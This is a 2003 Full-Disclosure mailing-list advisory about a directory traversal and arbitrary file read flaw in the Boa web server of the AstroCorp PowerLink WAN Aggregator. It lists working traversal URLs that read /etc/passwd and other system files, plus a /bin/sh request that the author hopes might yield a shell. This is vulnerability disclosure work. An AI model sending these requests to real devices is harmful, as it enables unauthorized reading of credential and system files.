[Full-Disclosure] PowerLink™ WAN Aggregator - Vunerability

From: morning_wood (se_cur_ity_at_hotmail.com)
Date: 05/09/03

  • Next message: Kamal Habayeb: "[Full-Disclosure] PGP vs. certificate from Verisign" 
    To: <full-disclosure@lists.netsys.com>
Date: Fri, 9 May 2003 10:43:31 -0700

    Vendor: AstroCorp
    Website:http://www.astrocorp.com/
    Product:PowerLink™ WAN Aggregator
    Version: 1.7.3.1

    Discoved: 01/10/2003
    By: morning_wood
    Release Date: 05/07/2003

    Exploit Type: Arbitrary reading of files / Directory Transversal / Remote
    Shell?

    Discription of Product:

    "PowerLink™ WAN Aggregator is an Intelligent Link Load Balancing with
    Automatic WAN Fail-Over
    for 100% Always Available Internet Connectivity!
    An interesting way to increase Broadband bandwidth among several
    connections.
    Simply put - (4) Incoming WAN Ports & (1) LAN port, Web Browser
    Configurable.
    Balance that Load! Let's see, this device (PowerLink) + Smoothwall.org for
    a Hardware Firewall - Nice! PowerLink-Iplus WAN Aggregator for $1,695.00
    (8/13/2002)."

    Known issues exist in Boa httpd as per:
    FreeBSD-SA-00:60 Security Advisory

    http://www.securiteam.com/unixfocus/6G0081P0AI.html and
    http://lists.insecure.org/lists/bugtraq/2000/Oct/0445.html

     Since this is a hardware based product with a built in httpd for remote
    access, this is a
    seperate issue than the ones formaly presented above, but carry the same
    implications.

    Identification:

    HTTP/1.0 200 OK
    Date: Saturday, 7 January 100 04:23:02 GMT
    Server: Boa/0.92r
    Connection: close
    Keep-Alive: timeout=10, max=10
    Content-Length: 4187
    Last-Modified: Tuesday, 9 September 102 03:21:14 GMT
    Content-Type: text/html

    Vunerability / Exploit:

    Just issue any of the folowing...

    http://somepowerlinkWAN.router/../../../../../../../../../../etc/passwd
    http://somepowerlinkWAN.router///etc/passwd
    http://somepowerlinkWAN.router/etc/passwd
    http://somepowerlinkWAN.router/bin/
    http://somepowerlinkWAN.router/dev/
    http://somepowerlinkWAN.router/tmp/
    http://somepowerlinkWAN.router/etc/fstab
    http://somepowerlinkWAN.router/etc/mtab

    etc, etc, etc

    I am most concerned about this:

    http://somepowerlinkWAN.router/bin/sh

    as it seems to want send me a shell? ( at least the actual sh bin - rofl )

    Vendor contacted: Yes
    via: 1-800-669-6242 and acorbuleanu@astrocorp.com

    Response: Initial Phone Conversation.
    Resolve: None as of this date

    Credits:
    morning_wood
    http://exploit.wox.org

    _______________________________________________
    Full-Disclosure - We believe in it.
    Charter: http://lists.netsys.com/full-disclosure-charter.html

  • Next message: Kamal Habayeb: "[Full-Disclosure] PGP vs. certificate from Verisign"